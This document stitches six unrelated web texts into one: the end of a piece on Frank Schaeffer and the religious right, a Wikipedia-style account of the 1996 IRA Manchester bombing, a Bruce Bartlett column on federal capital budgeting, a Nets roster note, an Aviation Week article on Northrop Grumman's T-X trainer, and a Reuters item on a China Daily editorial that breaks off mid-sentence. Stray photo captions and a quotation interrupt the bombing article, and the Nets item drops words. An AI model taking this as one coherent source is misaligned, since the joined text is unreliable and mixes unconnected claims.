(such as the one below) to promote the pro-life movement. It was to become "the single greatest regret of my life," Schaeffer said. "Most evangelical leaders didn't want anything to do with [the issue of abortion]. They wanted to just preach Jesus," said Schaeffer. "They thought politics was dirty. They didn't want anything to do with it. We had to talk them into it." Schaeffer said the religious right's anti-abortion agenda was legitimized with the help of Jack Kemp, who went onto become President George H. W. Bush’s housing secretary. "(Kemp) brought in 50 senators and congressmen including Henry Hyde and Bob Dole and a bunch of other people and gave it respectability," Schaeffer said. And the rest, as they say, is history. -The 1996 Manchester bombing was an attack carried out by the Provisional Irish Republican Army (IRA) on Saturday 15 June 1996. The IRA detonated a 1,500-kilogram (3,300 lb) Lorry bomb on Corporation Street in the centre of Manchester, England. The biggest bomb detonated in Great Britain since World War II, it targeted the city's infrastructure and economy and caused devastating damage, estimated by insurers at £700 million (equivalent to £1.3 billion in 2018) – only surpassed by the 2001 September 11 attacks and the 1993 Bishopsgate bombing in terms of financial cost.[3][4] The IRA had sent telephoned warnings about 90 minutes before the bomb detonated. At least 75,000 people were evacuated from the area,[5] but the bomb squad were unable to defuse the bomb in time. More than 200 people were injured but there were no fatalities[6] despite the strength of the bomb, which has been largely credited to the fast response of emergency services in evacuating the city centre before the bomb could explode.[7][8] At the time, England was hosting the Euro '96 football championships and a Russia vs Germany match was to take place in Manchester the following day. Although Manchester had been targeted by the IRA before, it had not been subjected to an attack on this scale. In February 1996, the IRA had ended its seventeen-month ceasefire with a large truck bomb attack on London's Canary Wharf financial district, though the 3,300-pound bomb of Manchester was three times the size of the Canary Wharf bomb.[5] The Manchester bombing was condemned by the British and Irish governments and U.S. President Bill Clinton. Five days after the blast, the IRA issued a statement from Dublin in which it claimed responsibility, but regretted causing injury to civilians.[9] Several buildings near the explosion were damaged beyond repair and had to be demolished, while many more were closed for months for structural repairs. Most of the rebuilding work was completed by the end of 1999, at a cost of £1.2 billion, although redevelopment continued until 2005. The perpetrators of the attack have not been caught, and Greater Manchester Police have conceded it is unlikely that anyone will be charged in connection with the bombing.[10] The bombing has however been credited for starting the city's mass regeneration and turning Manchester into a modern British "powerhouse" city with above national average economic growth in the 20 years following the bombing.[6][11][12] Background [ edit ] From 1970 the Provisional Irish Republican Army was carrying out an armed campaign aimed ultimately at bringing about a united Ireland. As well as attacking military and political targets, it also bombed infrastructure and commercial targets in Northern Ireland and England. It believed that by damaging the economy and causing severe disruption, it could pressure the British government to negotiate a withdrawal from Northern Ireland.[13] Manchester had been the target of earlier IRA bombs. Firebombs damaged city centre businesses in 1973 and 1974, for which a man was later imprisoned. In April 1974, a bomb exploded at Manchester Magistrates' Court, injuring twelve. In 1975, IRA bomb factories were found in Greater Manchester and five men were imprisoned for planning attacks in North West England.[14] On 4 December 1992, the IRA detonated two small bombs in Manchester city centre, forcing police to evacuate thousands of shoppers. More than 60 were hurt by shattered glass and the blasts cost an estimated £10 million in damage and business losses.[15] The Downing Street Declaration of 1993 allowed Sinn Féin, a political party associated with the IRA,[16] to participate in all-party peace negotiations on condition that the IRA called a ceasefire. The IRA called a ceasefire on 31 August 1994. John Major's government, dependent on Ulster Unionist Party votes, then began insisting that the IRA must fully disarm before there could be any all-party negotiations. The IRA saw this as a demand for total surrender and believed the British were unwilling to hold negotiations.[18] It ended its ceasefire on 9 February 1996 when it detonated a powerful truck bomb in Canary Wharf, one of the two financial districts of London. The blast killed two people and caused an estimated £150 million worth of damage.[14] The IRA then planted five other devices in London within the space of 10 weeks.[19] The IRA planned to carry out a similar bombing in Manchester. The city may have been chosen because it was one of the host cities of the Euro '96 football tournament, attended by visitors and media organisations from all over Europe, guaranteeing the IRA what Margaret Thatcher called the "oxygen of publicity". A Russia vs Germany match was to take place at Old Trafford in Manchester a day after the bombing. The year before, Manchester had also won its bid to host the 2002 Commonwealth Games,[21] at the time the biggest multi-sport event ever to be staged in Britain. On 10 June 1996, multi-party negotiations began in Belfast. Sinn Féin had been elected to take part but were barred because the IRA had not resumed its ceasefire or agreed to disarm.[23] Details of the bombing [ edit ] The IRA's South Armagh Brigade was tasked with planning and carrying out the attack. It had also been responsible for the Canary Wharf bombing in February, and the Bishopsgate bombing in 1993. Its members mixed the explosives in Ireland and shipped them by freight from Dublin to England. In London, the bomb was assembled and loaded into the back of a red and white Ford Cargo van. On 14 June it was driven north towards Manchester, accompanied by a Ford Granada which served as a "scout car".[24] Discovery [ edit ] Stills taken from India 99 , a Greater Manchester Police helicopter, showing the Ford van moments before the blast, the explosion taking place, and the resulting mushroom cloud over the city, dwarfing the adjacent 23-storey high-rise, Arndale House. At about 9:20 am on Saturday 15 June 1996, the Ford van was parked on Corporation Street, outside the Marks & Spencer store, near the Arndale Centre.[1] After setting the bomb's timer, two men – wearing hooded jackets, baseball caps and sunglasses – left the vehicle and walked to Cathedral Street, where a third man picked them up in the Ford Granada.[24] The truck had been parked on double yellow lines with its hazard lights flashing.[25] Within three minutes a traffic warden had issued the vehicle with a parking ticket and called for its removal. At about 9:40 am, Granada Studios on Quay Street received a telephone call claiming that there was a bomb at the corner of Corporation Street and Cannon Street and that it would explode in one hour. The caller had an Irish accent and gave an IRA codeword so that police would know the threat was genuine.[1][27] Four other telephoned warnings were sent to television/radio stations, newspapers and a hospital.[28][29] The first policeman to arrive on the scene noticed wires running from the van's dashboard through a hole into the back and reported that he had found the bomb. Forensic experts later estimated that the bomb weighed 1,500–1,600 kg (3,300–3,500 lb)[30] and was a mixture of semtex, a military-grade plastic explosive, and ammonium nitrate fertiliser, a cheap and easily obtainable explosive used extensively by the IRA.[32] Components of what may have been a tremble trigger were also found later, designed to detonate the bomb if it was tampered with. Evacuation [ edit ] At 10:00 am, there were an estimated 75,000–80,000 people shopping and working in the vicinity. An evacuation of the area was undertaken by police officers from Bootle Street police station, supplemented by officers drafted into Manchester to control the football crowds. The police were helped by security guards from local shops.[1][34] One group worked to move people away from the bomb while another, assisted by firefighters and security guards, established a continuously expanding cordon around the area to prevent entry.[1] By 11:10 am the cordon was at the greatest extent that available manpower would permit, about a quarter of a mile (400 m) from the truck and 1.5 miles (2.4 km) in circumference. Explosion [ edit ] The bomb squad arrived from their Liverpool base at 10:46 am and attempted to defuse the bomb using a remote-controlled device, but they ran out of time. The bomb exploded at 11:17 am, causing an estimated £700 million (£1.3 billion as of 2018)[37] of damage and affecting a third of the city centre's retail space. Marks & Spencer, the sky bridge connecting it with the Arndale Centre, and neighbouring buildings were destroyed.[1] It was the largest peacetime bomb ever detonated in Great Britain,[14] and the blast created a mushroom cloud which rose 300 metres (1,000 feet) from the ground.[38] The explosion could be heard up to 15 miles away and left a crater 15 metres wide.[25] Glass and masonry were thrown into the air, and behind the police cordon – up to 1⁄ 2 mi (800 m) away, people were showered by falling debris.[39] There were no fatalities, but 212 people were injured. A search of the area for casualties was confused by mannequins blasted from shop windows, which were sometimes mistaken for bodies. Hospitals across Greater Manchester were made ready to receive those injured in the blast.[1] The police commandeered a Metrolink tram to take 50 of the casualties to North Manchester General Hospital, which treated 79 in total; a further 80 were cared for at the Manchester Royal Infirmary, and many others were treated in the streets by ambulance crews assisted by doctors and nurses who happened to be in the city centre that morning. Reaction [ edit ] The bombing was condemned by British Prime Minister John Major and his government, by the opposition, and by individual members of parliament (MPs) as a "sickening", "callous" and "barbaric" terrorist attack.[41][42] Early on, Major stated that, "This explosion looks like the work of the IRA. It is the work of a few fanatics and ... causes absolute revulsion in Ireland as it does here".[43] Sinn Féin was criticised by Taoiseach John Bruton for being "struck mute" on the attack in the immediate aftermath. Bruton described the bombing as "a slap in the face to people who've been trying, against perhaps their better instincts, to give Sinn Féin a chance to show that they could persuade the IRA to reinstate the ceasefire".[43] The President of the United States, Bill Clinton, stated he was "deeply outraged by the bomb explosion" and joined Bruton and Major in "utterly condemning this brutal and cowardly act of terrorism".[44] Sinn Féin President, Gerry Adams, stated that he was "shocked and saddened" by the bombing. He insisted that his party was committed to achieving a peace settlement and argued "it is sheer folly to return to the old agenda of excluding Sinn Féin and seeking to isolate republicans".[45] On 20 June 1996, the IRA claimed responsibility for the bombing, and stated that it "sincerely regretted" causing injury to civilians.[16] The IRA statement continued: The British Government has spent the last 22 months since August '94 trying to force the surrender of IRA weapons and the defeat of the republican struggle. We are still prepared to enhance the democratic peace process ... but if there is to be a lasting peace ... then the British Government must put the democratic rights of all of the people of Ireland before its own party political self interest.[46] The bombing came five days after the beginning of the peace talks in Belfast, and represented the IRA's opposition to talks which excluded republicans.[47] The attack was part of a political strategy by the IRA to be included in negotiations on the IRA's own terms.[48] According to historian Richard English: "What they were doing with their return to bombings like the Manchester bomb was saying, 'We can still return to war if we want to. We can still put off a huge bomb in your cities and devastate them and therefore you have to deal with us'".[49] In an effort to allay fears that Manchester's considerable Irish community might be subjected to reprisal attacks, Councillors Richard Leese and Martin Pagel – leader and deputy leader of Manchester City Council respectively – made a public visit to the Irish World Heritage Centre in Cheetham Hill. In the event there were only a few incidents, the most serious of which occurred on the evening of the bomb when a gang of ten men rampaged through an Irish-themed bar in the centre of Middleton shouting the Ulster loyalist slogan "No surrender" and smashing furniture and windows. Seven days after the bombing, Manchester Council held a 'family fun day' in front of the Town Hall in Albert Square to encourage shoppers and visitors back into the city centre, the first of a "series of events and entertainments". The Euro '96 football match between Russia and Germany at Old Trafford went ahead as planned the day following the bombing, after the stadium had been heavily guarded overnight and carefully searched; the game, which Germany won 3–0, was watched by a capacity crowd of 50,700. Investigation [ edit ] In an effort to trace the route of the Ford van, police examined CCTV footage from every major road and motorway taken in England within two days of the bombing. Footage revealed that the van was driven south along the M1 motorway into London on the Friday afternoon before the attack. It was seen again heading north along the motorway at 7:40 pm, accompanied by the Ford Granada. Detectives surmised that the van had been loaded with explosives in London and that the Granada was intended to be the getaway vehicle. The truck was last recorded travelling east along the M62 motorway towards Manchester at 8:31 am on the morning of the explosion. Police in Manchester were aware that their Metropolitan Police colleagues in London were investigating a suspected IRA unit based in the capital, and wondered whether the London unit was responsible for the Manchester bombing. On 15 July, Metropolitan police arrested six men suspected of IRA membership: Donal Gannon, John Crawley, Gerard Hanratty, Robert Morrow, Patrick Martin, and Francis Rafferty. Each was tried and convicted of "conspiracy to cause explosions at National Grid electricity stations", and sentenced to 35 years in jail.[54] Police in Manchester meanwhile worked to establish if the men were also responsible for the Manchester bomb. Their investigation was led by Detective Chief Inspector Gordon Mutch of the Greater Manchester Police (GMP), "astonishingly ... the only person ever charged with a criminal offence in connection with the Manchester bomb". The van's last registered owner told police that he had sold it to a dealer in Peterborough, who had in turn sold the van on to a man calling himself Tom Fox, two weeks before the bombing. After the purchase price was delivered in cash by a taxi driver, the dealer was instructed to take the van to a nearby lorry park, and leave it there with the keys and documents hidden inside. On checking records of telephone calls made to the dealer, the police found that some had been made from a mobile phone registered in Ireland, and on further checking the records of that phone it appeared that the calls were made from locations consistent with the known whereabouts of the Ford truck. One call was to a known IRA member. The phone was last used at 9:23 am on the morning of the bombing, just three minutes after the bombers had parked their truck in Corporation Street. On 27 June, the phone's registered owner reported that it had been stolen 17 days earlier, but the police felt they had gathered enough evidence to bring a prosecution against the six IRA men held in London. At a meeting attended by the commander of Special Branch in Manchester, a GMP assistant chief constable and a "senior officer" from the Royal Ulster Constabulary (RUC), it was decided, for reasons never made public, not to present the findings of the investigation to the Crown Prosecution Service (CPS), the body responsible for undertaking criminal prosecutions in England. The three may have felt that as the IRA suspects were already in police custody they were no longer a threat, or that to pursue the case against them may have jeopardised ongoing undercover operations. It was not until 1998 that the police finally sent their file to the CPS, who decided not to prosecute. Leak [ edit ] Early in 1999, Steve Panter, chief crime reporter for the Manchester Evening News, leaked classified Special Branch documents naming those suspected of the bombing. The documents also revealed that the man suspected of organising the attack had visited Manchester shortly after the bombing and been under covert police surveillance as he toured the devastated city centre before returning to his home in South Armagh. Suspicion fell on Mutch as the source of the leaked documents after an analysis of mobile phone records placed both him and Panter at the same hotel in Skipton, North Yorkshire, about 40 miles (64 km) from Manchester on the same evening. On 21 April 1999, the Manchester Evening News named a man it described as "a prime suspect in the 1996 Manchester bomb plot".[60] The newspaper reported that the file sent by Greater Manchester Police to the Crown Prosecution Service contained the sentence: "It is the opinion of the investigating officers of GMP that there is sufficient evidence to charge [him] with being a party in a conspiracy to cause explosions in the United Kingdom."[61] The man denied any involvement.[62] The Attorney General wrote in a letter to a local MP that the advice given to the CPS by an independent lawyer was that "there was not a case to answer on the evidence available ... a judge would stop the case": the Attorney General further wrote that the decision not to prosecute was not influenced by the government. The newspaper also identified the six men arrested in London on 15 July as having planned the attack.[63][64] By July 2000 all six had been released under the terms of the 1998 Belfast Agreement. As of 2018, Panter and Mutch are the only people to have been arrested in connection with the bombing. Mutch was tried for "misconduct in a public office" during an 11-day trial held in January 2002, but was acquitted. During the trial Panter was found in contempt of court for refusing to reveal his source, an offence punishable by a term of imprisonment without the right of appeal. Greater Manchester Police announced in 2006 that there was no realistic chance of convicting those responsible for the bombing.[68] Reconstruction [ edit ] About twelve buildings in the immediate vicinity of the explosion were severely damaged. Overall, 530,000 square feet (49,000 m2) of retail space and 610,000 square feet (57,000 m2) of office space were put out of use.[69] Insurers paid out £411 million (£800 million as of 2018)[37] in damages for what was at the time one of the most expensive man-made disasters ever,[70] and there was considerable under-insurance.[69] Victims of the bombing received a total of £1,145,971 in compensation from the Criminal Injuries Compensation Authority; one individual received £146,524, the largest amount awarded as a result of this incident.[71] Close to the location of the blast, 2009 According to Home Office statistics, an estimated 400 businesses within half a mile (0.8 km) of the blast were affected, 40% of which did not recover.[72] The heaviest damage was sustained by the three buildings nearest the bomb: Michael House, comprising a Marks & Spencer store and a six-storey office block; Longridge House, offices for Royal and Sun Alliance, an insurance company; and the Arndale Centre, a shopping mall.[73] Michael House was deemed beyond economic repair and demolished. Marks & Spencer took the opportunity to acquire and demolish the adjacent Longridge House, using the enlarged site for the world's biggest branch of the store.[69] The company's fortunes changed during construction, and Selfridges subsequently co-occupied the building; Marks & Spencer leased part of the Lewis's store in the interim.[73] The frontage of the Arndale was badly damaged and was removed in a remodelling of that part of the city centre.[69] Coming to Manchester [after the bombing] was a journey I shall never forget. I sat on the train obviously deeply shocked and horrified. I knew that questions would be asked about what we were going to do; what is the right solution. Then I knew what the right solution was – to see this event, horrific as it was, as an opportunity and, no mucking about, we must do things on the grand scale and to the best quality we can. Michael Heseltine, then-Deputy Prime Minister The glass domes of the Corn Exchange and the Royal Exchange were blown in. The landlord of the Corn Exchange invoked a force majeure condition in the lease to evict all tenants, and the building was converted into a shopping centre. The dome of the Royal Exchange shifted in the blast; its reconstruction took two and a half years and cost £32 million, paid for by the National Lottery.[78] The possibility of rebuilding parts of the city centre was raised within days of the bomb. On 26 June 1996, Michael Heseltine, the Deputy Prime Minister, announced an international competition for designs of the redevelopment of the bomb-affected area. Bids were received from 27 entrants, five of whom were invited to submit designs in a second round. It was announced on 5 November 1996 that the winning design was one by a consortium headed by EDAW. Redevelopment [ edit ] New security safeguards were included in the redevelopment of the city centre including retractable bollards and pedestrianised streets. Much of the 1960s redevelopment of Manchester's city centre was unpopular with residents. Market Street, near the explosion and at that time the second-busiest shopping street in the UK, was considered by some commentators a "fearful" place, to be "avoided like the plague". Until Margaret Thatcher's third consecutive election victory in 1987, the staunchly Labour-controlled Manchester Council believed that Manchester's regeneration should be funded solely by public money, despite the government's insistence on only funding schemes with a significant element of private investment. Graham Stringer, leader of Manchester City Council, later admitted that after the 1987 General Election result "there was no get out of jail card. We had gambled on Labour winning the General Election and we lost." Thatcher's victory effectively put paid to Manchester's "socialist experiment", and Stringer shortly afterwards wrote a letter of capitulation to Nicholas Ridley, then Secretary of State for the Environment, saying, "in a nutshell; OK, you win, we'd like to work together with you". Efforts at improvement before the bombing had in some respects made matters worse, cutting off the area north of the Arndale Centre – the exterior of which was widely unloved – from the rest of the city centre. A large building nearby, now redeveloped as The Printworks and formerly occupied by the Daily Mirror newspaper, had been unoccupied since 1987. Many locals therefore considered that "the bomb was the best thing that ever happened to Manchester",[85] as it cleared the way for redevelopment of the dysfunctional city centre, a view also expressed in 2007 by Terry Rooney, MP for Bradford North. The leader of the Liberal Democrat opposition on Manchester City Council, Simon Ashley, responded that "I take exception to his [Rooney's] comments about the IRA bomb. No one who was in the city on that day, who lost their jobs or was scared witless or injured by the blast, would say the bomb was the best thing to happen to Manchester".[86] Sir Gerald Kaufman, MP for Manchester Gorton, stated that the bomb provided the opportunity for redeveloping Manchester city centre, although it was not fully exploited. "The bomb was obviously bad but from a redevelopment point of view, it was a lost opportunity. While the area around St Ann's Square and Deansgate is not disagreeable, if you compare it with Birmingham and its exciting development, we've got nothing to touch that in Manchester".[86] Howard Bernstein, chief executive of Manchester City Council, has been quoted as saying "people say the bomb turned out to be a great thing for Manchester. That's rubbish." There was already substantial regeneration and redevelopment taking place in the city centre before the bombing, in support of the Manchester bid for the 2000 Summer Olympics, its second Olympic bid. Tom Bloxham, chairman of property development group Urban Splash and of the Arts Council England (North West), agreed with Bernstein that the bomb attack was not the trigger for the large-scale redevelopment that has taken place in Manchester since the early 1990s: pillar box that withstood the bomb blast. A memorial brass plaque commemorates the 1996 bomb. For me the turning point for Manchester came before the bomb ... it was the second Olympic Games bid [in 1992] when we lost but the city suddenly had a realisation. There was a huge party in Castlefield and people grasped the idea that Manchester should no longer consider itself in competition with the likes of Barnsley and Stockport. It was now up against Barcelona, Los Angeles and Sydney and its aspirations increased accordingly. Memorials [ edit ] A pillar box that survived the blast, despite being yards from the explosion, now carries a small brass plaque recording the bombing. It was removed during construction and redevelopment work, and returned to its original spot when Corporation Street reopened. The plaque reads: This postbox remained standing almost undamaged on June 15th 1996 when this area was devastated by a bomb. The box was removed during the rebuilding of the city centre and was returned to its original site on November 22nd 1999 A Thanksgiving service for the "Miracle of Manchester" was held at Manchester Cathedral on 24 July 2002, to coincide with the arrival of the Commonwealth Games baton, attended by Queen Elizabeth II and The Duke of Edinburgh. At 11:17 am on 15 June 2006, a candle was lit at a memorial held at Manchester Cathedral to mark the tenth anniversary of the bombing.[90] See also [ edit ] References [ edit ] Citations [ edit ] Bibliography [ edit ] Further reading [ edit ] -Bruce Bartlett held senior policy roles in the Reagan and George H.W. Bush administrations and served on the staffs of Representatives Jack Kemp and Ron Paul. He is the author of “The Benefit and the Burden: Tax Reform – Why We Need It and What It Will Take.” Much of the motivation for deficit reduction, a goal shared by policy makers across the political spectrum, is the belief that deficits consume the nation’s seed corn. That is, deficits represent negative saving. Because saving is presumed to be the key determinant of long-term real economic growth, deficits deplete the supply of saving and thus reduce growth. Today's Economist Perspectives from expert contributors. There are many problems with this analysis. One is that it assumes that all government spending is consumption. In fact, much of it consists of investment. According to the 2013 budget (see Section 21, Page 356), the federal government will invest $550 billion this year in physical capital (buildings, equipment), research and development and human capital (education). This includes grants to state and local governments for these purposes. It is perfectly reasonable to finance long-lived capital projects with borrowing. Because the benefits will accrue over many years, it would be silly to treat things like highways as if they were consumed within a single year for budget purposes. Virtually all homeowners know this and borrow to buy homes. They understand that the flow of housing services they receive on an annual basis compensates for the interest that is paid. Unfortunately, the federal budget is silly in this respect. It treats investment spending the same way every other budgetary item is treated – as if it were consumption with no long-lasting benefits for the nation. An unfortunate consequence of this budgetary convention is that reducing federal investment is viewed as beneficial if it reduces the deficit. Moreover, it is often easier to cut investment spending than consumption, just as homeowners suffering from an income loss may find that deferring maintenance or planned improvements is the easiest way to conserve cash. But just as deferred maintenance on our homes, like putting off repairs to the roof, can be very costly in the long run, reducing the value and hence the net worth of our principal asset, the same is true of government investment. Maintenance that is deferred too long may require assets that would have lasted many more years to be replaced prematurely at much higher cost. According to the American Society of Civil Engineers, the nation is already in a net deficit position as far as building and maintaining its basic public infrastructure. The society estimates that the added costs to people and businesses from this underinvestment will reduce the aggregate gross domestic product by $3 trillion over the next decade. The group recommends an additional $1.1 trillion of public investment through 2020 to what is currently planned, $157 billion per year. Of course, the federal government is not going to spend that much more because it would make the goal of balancing the budget more difficult, based on the way deficits are calculated, making no allowance for capital outlays. Indeed, it will be difficult to prevent cuts in investment outlays that will reduce such spending below current projections. One solution to this problem would be to have a capital budget that segregates government investment spending from consumption spending. Virtually all the states do this already. Conservatives who routinely defend a balanced-budget amendment to the Constitution, on the grounds that the states must balance their budgets annually, appear to be unaware that such requirements apply only to operating budgets, excluding capital outlays. If households were required to balance their budgets the way balanced-budget amendment supporters want the federal government to operate, they would almost never be able to buy homes or cars. Such outlays almost always exceed their annual incomes over and above consumption and would thus constitute deficit spending. Of course, families could draw down savings to buy homes and cars. But that’s an option not available to the government because it has no savings, only a large debt. Treating it and private individuals the same way, as balanced-budget supporters propose, would require the entire national debt to be paid off and a surplus accumulated before it would be permitted to make new investments in roads, bridges, buildings and other long-lived assets. Of course, no one actually believes that. But it follows logically from arguments one often hears about why the government should balance its cash income and outlays annually, because that is supposedly how families and the states are said to operate. In fact, they don’t. The distinction between capital spending and consumption spending also affects the way economists interpret the rate of saving. The standard measure, produced by the Commerce Department, calculates personal income and personal outlays. The difference between these two figures is assumed to be personal saving. Thus saving is not calculated directly, but is merely a residual between income and spending. An alternative measure of saving that treats consumer durables, like autos, as investments would raise the measured rate of saving considerably. Alternatively, one could measure saving directly from financial institutions and other sources, as the Federal Reserve does (see Page 17). This yields a much higher measure of saving. In 2011, the last full year available, the Commerce Department estimated the personal saving rate at 4.2 percent, while the Fed put it at 10.3 percent. Periodically, administrations have suggested creating a capital budget, both to give clearer picture of the economic effects of federal spending and to shield investments from budget cuts that should be limited to consumption outlays. The Reagan administration floated the idea in 1986, and the Clinton administration created a commission to study it. A common criticism has always been that the definition of “capital” is too slippery and could too easily become a loophole through which consumption spending could escape. The obvious answer is to assign some entity, like the Government Accountability Office, to audit investment spending and ensure that it truly represents investment and not consumption. Many economists say they believe that the best thing the federal government can do to raise the long-term economic growth rate is increase infrastructure spending. It would have the double benefit of mobilizing idle resources, especially unemployed workers, while low interest rates permit capital projects to be financed very cheaply. One main barrier to achieving this double benefit is the confusion between investment spending and consumption spending, which is distorted by the way the budget is presented and the way we calculate saving. -Related The Nets have ruled forward Reggie Evans out for the next two games for “personal reasons,” the team announced today. That leaves Evans out for tonight’s game against the Charlotte Bobcats, as well as Thursday’s game in Chicago against the Bulls. It’s the team’s last two games before the All-Star Break, so Evans won’t be with the team until they play against Utah on February 19th at the earliest.After starting 56 games last year, Evans’s role on the Nets has been significantly reduced. He’s played in just 30 of a possible 49 games, averaging 13.3 minutes per game. He has not suffered a publicly announced injury yet this season, meaning that those 19 games were merely DNP-CD (did not play-coach’s decision).Evans is averaging 2.7 points and 5.0 rebounds per game, while shooting a career-worst 39 percent from the field. His most intriguing storyline this season is the, and the mysterious circumstances surrounding it.The team did not specify what Evans’s personal reasons were for missing these two games. -Aviation Week & Space Technology A Northrop Grumman-led team is dashing its plan to propose a modified BAE Systems Hawk trainer for the U.S. Air Force’s T-38 replacement program, opting instead for a clean-sheet design for the $1 billion program. The shift is more bold than it is surprising. The team is paying for a brand-new prototype despite a slump in defense spending. But it has become increasingly evident that the Hawk is unsuited for the mission due to shortfalls in the fast-jet trainer’s ability to sustain Gs, perform high angle-of-attack maneuvering and execute tight turn rate and radius. Scaled Composites, wholly owned by Northrop Grumman since its purchase in 2007, formed a small team to build a suitable aircraft from the ground up. This marks the third U.S. company to propose its own new-build aircraft for a competition that began with three foreign-built, modified off-the-shelf designs: the Hawk, Lockheed Martin/Korea Aerospace Industries T-50 and General Dynamics/Alenia Aermacchi M-346. Boeing planned since entering the competition to offer a new-build design; it is teamed with Saab. Textron Airland is looking at three variants of its company-developed Scorpion demonstrator for the T-X mission, says President Bill Anderson. Boeing declined to comment about progress on its prototype. The Air Force has been openly pursuing a T-X plan since 2011, but the fiscal 2016 budget proposal sent to Congress Feb. 2 indicates that a request for proposals will finally be released in fiscal 2016. The plan calls for $575 million in fiscal 2016-19, with an estimated total program cost at $1.04 billion and a source selection by the end of fiscal 2017. The winner stands to dominate a global fast-jet trainer market, especially for countries planning to buy the F-35. Nine partners already are teamed to develop the stealthy fighter and another three are foreign military sales customers. The so-called T-X will eventually be used to train future F-22 and F-35 pilots with advanced skills. Adding to the requirements is an Air Force decision in the fiscal 2016 budget plan to expand T-X to cover a requirement for a new “red air” aggressor “stores aircraft interface” kit to include adding a radar, datalink and hard points for weapons and a jamming pod. The T-X aggressors will replace F-16Cs used in that role now at the Air Warfare Center at Nellis AFB, Nevada. The Hawk would be unable to meet the demands of an aggressor aircraft. The “red air” T-X is needed to tax the technology and skills of future F-22 and F-35 pilots, says Col. Adrian Spain, commandant of the Air Force Weapons School at Nellis. During live-fly training, the aggressors not only use enemy tactics but the aircraft must also emulate adversary platforms well enough to “fool” the Air Force’s aircraft into “thinking” they are an actual enemy system. “The potential near-peer threat has improved pretty substantially over the last decade, [and] we want to be able to replicate that threat here so we can train against a threat that is realistic and relevant,” Spain tells Aviation Week. “With an older, fourth-gen system, you can probably trick it into thinking [an aggressor] is something else. But in an F-35 and an F-22, the sensors are advanced enough that they’ll know the difference. So we need to have capability on the range to fly against.” Budget cuts forced the service to deactivate a squadron of F-15Cs last year, leaving only one F-16C aggressor squadron for advanced tactics and pilot training of U.S. and allied pilots at Nellis’s Air Warfare Center. The Air Force budget proposes to begin funding for the aggressor modification kit in fiscal 2018; a total of $220.5 million is included through fiscal 2020 for the work. The challenge is for a T-X aircraft to emulate the fifth-generation aircraft qualities without accruing the high cost of replicating them. “As a team—and I want to stress with you that everything was as a team—we entered the fight with the Hawk and as time went on . . . we just kept an eye on the requirements,” says Marc Lindsley, Northrop Grumman’s T-X program director. “And as we saw the requirements evolve and become more clear, we looked at options. It became more and more clear to us that the Hawk wasn’t the optimum solution in terms of requirements and affordability. . . . So we started studying it.” Northrop turned to Scaled Composites, renowned for its innovative designs and rapid fabrication cycle time, to build the prototype. The team is preparing to assemble the aircraft at Scaled’s facility in Mojave, California, with an eye toward first flight by year-end. Budget constraints are driving the Air Force and competitors to search for affordable options. Tom Vice, president of Northrop Grumman Aerospace Systems, says this is partly achievable with speed in designing and manufacturing aircraft coupled with innovative designs that take life-cycle cost into account upfront. “We have tremendous agility in the marketplace to bring innovation much, much faster,” Vice told reporters during a tour last month to showcase the company’s facilities in California. “We are setting a tone inside the organization and backing it up with investment that allows us to think about innovation for affordability.” Until now, Northrop has kept its plans for the new aircraft under wraps. The company teamed first as a subcontractor to BAE Systems in 2011; it quietly shifted roles to become the prime last June. The core team will remain intact, Lindsley says. L-3 Communications will continue to handle the ground-based training system. Northrop is “in discussions with BAE Systems to include their training system in our aircraft solution,” says Northrop spokesman Bryce McDevitt. The goal is to port the air vehicle training system from the Hawk to the new design. It would include a reconfigurable cockpit system to allow for various training scenarios as well as software to allow for insertion of various mission scenarios. BAE has declined to comment on its plans and has not explained how its air vehicle system will interface with L-3’s ground-based equipment. Northrop is taking lessons from Detroit-based Kuka Systems in designing its assembly line. Kuka started teaming with Northrop in 2012 and has experience in low-cost auto manufacturing techniques. A location for the work has not been announced, although if Northrop wins, the program will be based at its Melbourne, Florida, manned aircraft center of excellence. Lindsley provides scant details of the actual prototype design, including a “no comment” on whether it would require one or two engines, because of the competitive landscape. The company has not offered a name for the prototype. The Northrop team’s decision to abandon the Hawk leaves a dim future for the program. BAE moved its Hawk work from Brough to Warton, England, in 2011 despite having few orders for the aircraft. Subsequently, however, it won a contract with the Royal Saudi Air Force for 22 aircraft and a deal with Oman for eight. The Hawk design evolved over time since its first flight in 1974. More than 1,000 Hawks have been built. BAE declined to comment about the future of the program. Air Force Secretary Deborah Lee James announced in January that T-X will be a pathfinder for her Bending the Cost Curve initiative, which is designed to allow for dialog with industry on requirements and cost trades with a goal of reducing weapon-system cycle time and cost. “When it comes to T-X, we are about two years away from a request for proposals stage, and this new process should allow us to directly engage industry as we develop an understanding of how to best evaluate our objective and our threshold requirements,” James said. Today’s procurement process is linear, with requirements developed by one unit and handed over to another for a development and buy. James hopes that by opening a dialog with industry early in the process, the service can tailor the requirements not only for operational needs but with a realistic budget in mind. Lindsley and Anderson welcome this approach. Lindsley cautions, however, that the Air Force must provide industry enough time to adjust its designs accordingly when allowing for such trades, especially when the Pentagon is relying more heavily on contractor research and development funding for prototypes and risk reduction. He says thus far there has been a “very healthy dialog” on T-X with the Air Force; Northrop notified the service it was building its own prototype last year. “The big issue for us is we can debate the requirements, . . . but then we need the time . . . to meet those requirements,” Lindsley says. “Have the dialog, understand those trades, publish the requirements and lock them in, and then we need the time to design, develop and field that solution . . . at our investment.” This model is a departure for the Pentagon. With three contractors offering company-funded, clean-sheet options for T-X, industry is clearly keen on it. But the Defense Department’s history in this area includes failures. Despite contractor-funded designs for an Army Armed Aerial Scout helicopter, the service ultimately ended a demonstration effort without selecting a design. Likewise, four bidders have heavily invested in risk reduction for a Navy Unmanned Carrier-Launched Airborne Surveillance and Strike aircraft, and it has been continually delayed, prompting Northrop Grumman and Lockheed Martin to halt or scale back their work substantially. The Air Force intends to buy as many as 350 of the trainers as part of a larger T-X system, including advanced training aids such as a sophisticated ground-based training platform and aids. -BEIJING (Reuters) - The U.S. navy's latest collision at sea, the fourth in its Pacific fleet this year, shows it is becoming an increasing risk to shipping in Asia despite its claims of helping to protect freedom of navigation, an official Chinese newspaper said. The USS John S. McCain and the tanker Alnic MC collided while the guided-missile vessel was nearing Singapore on Monday. The collision tore a hole in the warship's port side at the waterline, flooding compartments that included a crew sleeping area. Ten sailors are missing. The collision - the fourth major accident in the U.S. Pacific fleet this year - prompted a fleet-wide investigation and plans for temporary halts in operations to focus on safety. ADVERTISEMENT The state-run China Daily said in an editorial on Tuesday that people will wonder why such a sophisticated navy keeps having these problems. "The investigations into the latest collision will take time to reach their conclusions, but there is no denying the fact that the increased activities by U.S. warships in Asia-Pacific since Washington initiated its rebalancing to the region are making them a growing risk to commercial shipping," it said. China has been upset 